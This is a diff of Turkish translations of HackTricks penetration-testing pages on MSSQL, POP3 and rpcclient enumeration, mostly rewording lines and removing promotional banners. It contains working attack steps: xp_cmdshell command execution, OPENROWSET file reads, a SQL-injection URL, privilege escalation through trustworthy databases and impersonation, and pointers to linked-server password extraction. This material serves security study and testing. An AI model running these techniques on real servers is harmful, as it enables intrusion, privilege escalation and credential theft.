[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server) kaynağından: From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve geri alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\\ > **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\\
**Varsayılan port:** 1433 **Varsayılan port:** 1433
``` ```
@ -39,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır. * **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır.
* **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler yeni oluşturulan veritabanlarında yansıtılır. * **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler yeni oluşturulan veritabanlarında yansıtılır.
* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur. * **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
* **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümleri için geçici bir depolama alanı olarak hizmet eder. * **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet eder.
## Sayım ## Sayım
@ -190,7 +182,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### OS Komutlarını Çalıştır ### OS Komutlarını Çalıştır
{% hint style="danger" %} {% hint style="danger" %}
Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için: Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** sahip olmanın da gerekli olduğunu unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
```sql ```sql
Use master Use master
EXEC sp_helprotect 'xp_cmdshell' EXEC sp_helprotect 'xp_cmdshell'
@ -284,7 +276,7 @@ EXECUTE sp_OADestroy @OLE
``` ```
### **Dosyayı** OPENROWSET **ile oku** ### **Dosyayı** OPENROWSET **ile oku**
Varsayılan olarak, `MSSQL`, **hesabın okuma erişimi olan işletim sistemindeki herhangi bir dosyada okuma yapmaya izin verir**. Aşağıdaki SQL sorgusunu kullanabiliriz: Varsayılan olarak, `MSSQL`, **hesabın okuma erişimi olan işletim sistemindeki herhangi bir dosyayı okuma** iznine sahiptir. Aşağıdaki SQL sorgusunu kullanabiliriz:
```sql ```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
``` ```
@ -299,13 +291,13 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
``` ```
### **RCE/Read files executing scripts (Python ve R)** ### **RCE/Read files executing scripts (Python ve R)**
MSSQL, **Python ve/veya R** ile **scriptler** çalıştırmanıza izin verebilir. Bu kod, **xp\_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir. MSSQL, **Python ve/veya R**'de **scriptler** çalıştırmanıza izin verebilir. Bu kod, **xp\_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
Örnek, **'R'** _"Hellow World!"_ **çalışmıyor**: Çalıştırmaya çalışan bir **'R'** _"Hellow World!"_ **çalışmıyor** örneği:
![](<../../.gitbook/assets/image (393).png>) ![](<../../.gitbook/assets/image (393).png>)
Örnek, birkaç işlem gerçekleştirmek için yapılandırılmış python kullanımı: Birçok işlem gerçekleştirmek için yapılandırılmış python kullanan örnek:
```sql ```sql
# Print the user being used (and execute commands) # Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -324,15 +316,15 @@ GO
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:** Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:**
| **Normal** | **Örnek Bilgisine Duyarlı** | | **Normal** | **Örnek Bilgisine Duyarlı** |
| ---------------------------- | -------------------------------------- | | --------------------------- | ----------------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys | | sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
| sys.xp\_regwrite | sys.xp\_instance\_regwrite | | sys.xp\_regwrite | sys.xp\_instance\_regwrite |
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue | | sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey | | sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring | | sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring | | sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql ```sql
# Example read registry # Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
@ -350,17 +342,17 @@ For **more examples** check out the [**original source**](https://blog.wayneshef
MSSQL içinde **özel fonksiyonlarla bir .NET dll yüklemek** mümkündür. Ancak, bu **`dbo` erişimi** gerektirir, bu nedenle veritabanına **`sa` veya bir Yönetici rolü** olarak bağlanmanız gerekir. MSSQL içinde **özel fonksiyonlarla bir .NET dll yüklemek** mümkündür. Ancak, bu **`dbo` erişimi** gerektirir, bu nedenle veritabanına **`sa` veya bir Yönetici rolü** olarak bağlanmanız gerekir.
[**Bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) bir örnek görmek için. [**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
### Other ways for RCE ### Other ways for RCE
Komut yürütmek için [uzatılmış saklı prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi komut yürütme yöntemleri de vardır. Komut yürütme elde etmenin başka yöntemleri vardır, bunlar arasında [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) bulunmaktadır.
## MSSQL Privilege Escalation ## MSSQL Privilege Escalation
### From db\_owner to sysadmin ### From db\_owner to sysadmin
Eğer bir **normal kullanıcıya** **`db_owner`** rolü, **bir yönetici** kullanıcısına ait olan **veritabanı** üzerinde verilirse (örneğin **`sa`**) ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı prosedürler** sahibi (**admin**) olarak **çalıştırılabilir**. Eğer bir **normal kullanıcıya** **`db_owner`** rolü, **bir yönetici** kullanıcısına ait olan **veritabanı** üzerinde verilirse (örneğin **`sa`**) ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı yordamlar** sahibi (**admin**) olarak **çalıştırılabilir**.
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -398,7 +390,7 @@ Bir **metasploit** modülü kullanabilirsiniz:
```bash ```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
``` ```
Ya da bir **PS** scripti: Veya bir **PS** script:
```powershell ```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
@ -406,7 +398,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
``` ```
### Diğer kullanıcıların taklit edilmesi ### Diğer kullanıcıların taklit edilmesi
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar, bu izin **çalıştıran kullanıcının başka bir kullanıcının** veya oturum açmanın izinlerini almasına **imkan tanır**; bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder. SQL Server, **`IMPERSONATE`** adında özel bir izin sunar, bu izin **çalıştıran kullanıcının başka bir kullanıcının** veya oturum açmanın izinlerini almasına **imkan tanır**; bu, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
```sql ```sql
# Find users you can impersonate # Find users you can impersonate
SELECT distinct b.name SELECT distinct b.name
@ -427,10 +419,10 @@ enum_links
use_link [NAME] use_link [NAME]
``` ```
{% hint style="info" %} {% hint style="info" %}
Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara **erişimi olup olmadığını** kontrol etmelisiniz. Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
{% endhint %} {% endhint %}
Not: Bir kez sysadmin olduğunuzda, diğer tüm kullanıcıları taklit edebilirsiniz: Not edin ki, bir kez sysadmin olduğunuzda, diğer herhangi birini taklit edebilirsiniz:
```sql ```sql
-- Impersonate RegUser -- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser' EXECUTE AS LOGIN = 'RegUser'
@ -440,11 +432,11 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa -- Change back to sa
REVERT REVERT
``` ```
Bu saldırıyı bir **metasploit** modülü ile gerçekleştirebilirsiniz: Bu saldırıyı **metasploit** modülü ile gerçekleştirebilirsiniz:
```bash ```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as msf> auxiliary/admin/mssql/mssql_escalate_execute_as
``` ```
ve bir **PS** script ile: veya bir **PS** scripti ile:
```powershell ```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -454,9 +446,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Bağlı Sunuculardan Şifreleri Çıkarma ## SQL Server Bağlı Sunuculardan Parola Çıkarma
Bir saldırgan, SQL Server Bağlı Sunucularının şifrelerini SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek şifreler verir. Bağlı Sunucular için saklanan şifreleri çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) bulunabilir. Bir saldırgan, SQL Server Bağlı Sunucularının parolalarını SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek parolalar verir. Bağlı Sunucular için saklanan parolaları çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) bulunabilir.
Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız. Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
@ -466,16 +458,16 @@ Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Önc
2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır. 2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır.
3. Uzaktan yönetici bağlantısını etkinleştirin. 3. Uzaktan yönetici bağlantısını etkinleştirin.
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir. Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve parolaların çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Şifrelerini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) Bu saldırı ile ilgili daha fazla bilgi için aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Parolalarını Şifre Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) [SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Yerel Yetki Yükseltme ## Yerel Yetki Yükseltme
MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** yetki belirtecini etkinleştirmiş olacaktır.\ MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** ayrıcalık belirtecini etkinleştirmiş olacaktır.\
Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz**: Bu 2 sayfadan birini takip ederek **Yöneticiye yükseltme** yapabileceksiniz:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -497,15 +489,9 @@ Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Otomatik Komutlar ## HackTricks Otomatik Komutlar
``` ```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
@ -571,7 +557,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
**Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında yer alan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bir bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın olarak kullanılan versiyon olarak öne çıkmaktadır. **Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında konumlanan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bir bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın kullanılan versiyon olarak öne çıkmaktadır.
**Varsayılan portlar:** 110, 995(ssl) **Varsayılan portlar:** 110, 995(ssl)
``` ```
@ -98,17 +91,12 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
| **Ayar** | **Açıklama** | | **Ayar** | **Açıklama** |
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama günlüklemesini etkinleştirir. | | `auth_debug` | Tüm kimlik doğrulama hata ayıklama günlüklemesini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntı düzeyini, gönderilen şifreleri ayarlar ve şemayı kaydeder. | | `auth_debug_passwords` | Bu ayar, günlük ayrıntı seviyesini, gönderilen şifreleri ve şemanın kaydedilmesini ayarlar. |
| `auth_verbose` | Başarısız kimlik doğrulama girişimlerini ve nedenlerini kaydeder. | | `auth_verbose` | Başarısız kimlik doğrulama girişimlerini ve bunların nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulama için kullanılan şifreler kaydedilir ve ayrıca kesilebilir. | | `auth_verbose_passwords` | Kimlik doğrulama için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. |
| `auth_anonymous_username` | ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. | | `auth_anonymous_username` | ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Otomatik Komutlar ## HackTricks Otomatik Komutlar
``` ```

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış ### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış
**Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde, bir ağ alanı içindeki nesneleri, örneğin kullanıcılar ve gruplar, benzersiz bir şekilde tanımlamak ve yönetmek için anahtar bileşenlerdir. **Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde, bir ağ alanı içindeki nesneleri, örneğin kullanıcılar ve gruplar, benzersiz bir şekilde tanımlamak ve yönetmek için anahtar bileşenlerdir.
@ -33,15 +25,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile onun belirli RID'sini birleştiren benzersiz bir tanımlayıcısı olabilir; bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, alan içinde pepe için tam ve benzersiz bir tanımlayıcı oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`. Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile onun belirli RID'sini birleştiren benzersiz bir tanımlayıcısı olabilir; bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, alan içinde pepe için tam ve benzersiz bir tanımlayıcı oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **rpcclient ile Enumeration** ### **rpcclient ile Enumerasyon**
Samba'dan **`rpcclient`** aracı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak için** kullanılır. Aşağıdaki komutlar, genellikle kimlik bilgileri gerektiren bir **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arayüzlerine verilebilir. Samba'dan **`rpcclient`** aracı, **adlandırılmış borular aracılığıyla RPC uç noktalarıyla etkileşimde bulunmak için** kullanılır. Aşağıdaki komutlar, genellikle kimlik bilgileri gerektiren bir **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arayüzlerine verilebilir.
#### Sunucu Bilgileri #### Sunucu Bilgileri
* **Sunucu Bilgileri almak için**: `srvinfo` komutu kullanılır. * **Sunucu Bilgileri almak için**: `srvinfo` komutu kullanılır.
#### Kullanıcıların Enumeration'ı #### Kullanıcıların Enumerasyonu
* **Kullanıcılar listelenebilir**: `querydispinfo` ve `enumdomusers` kullanılarak. * **Kullanıcılar listelenebilir**: `querydispinfo` ve `enumdomusers` kullanılarak.
* **Bir kullanıcının detayları**: `queryuser <0xrid>` ile. * **Bir kullanıcının detayları**: `queryuser <0xrid>` ile.
@ -78,7 +70,7 @@ done
* **Tüm mevcut paylaşımlar** için: `netshareenumall`. * **Tüm mevcut paylaşımlar** için: `netshareenumall`.
* **Belirli bir paylaşım hakkında bilgi** için: `netsharegetinfo <share>`. * **Belirli bir paylaşım hakkında bilgi** için: `netsharegetinfo <share>`.
#### SID'lerle Ek İşlemler #### SID'lerle İlgili Ek İşlemler
* **İsimle SID'ler** için: `lookupnames <username>`. * **İsimle SID'ler** için: `lookupnames <username>`.
* **Daha fazla SID** için: `lsaenumsid`. * **Daha fazla SID** için: `lsaenumsid`.
@ -96,19 +88,13 @@ done
| createdomuser | Bir alan kullanıcısı oluştur | | | createdomuser | Bir alan kullanıcısı oluştur | |
| deletedomuser | Bir alan kullanıcısını sil | | | deletedomuser | Bir alan kullanıcısını sil | |
| lookupnames | LSARPC | Kullanıcı adlarını SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) değerlerine bak | | lookupnames | LSARPC | Kullanıcı adlarını SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) değerlerine bak |
| lookupsids | SID'leri kullanıcı adlarına (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) bak | | | lookupsids | SID'leri kullanıcı adlarına bak (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | |
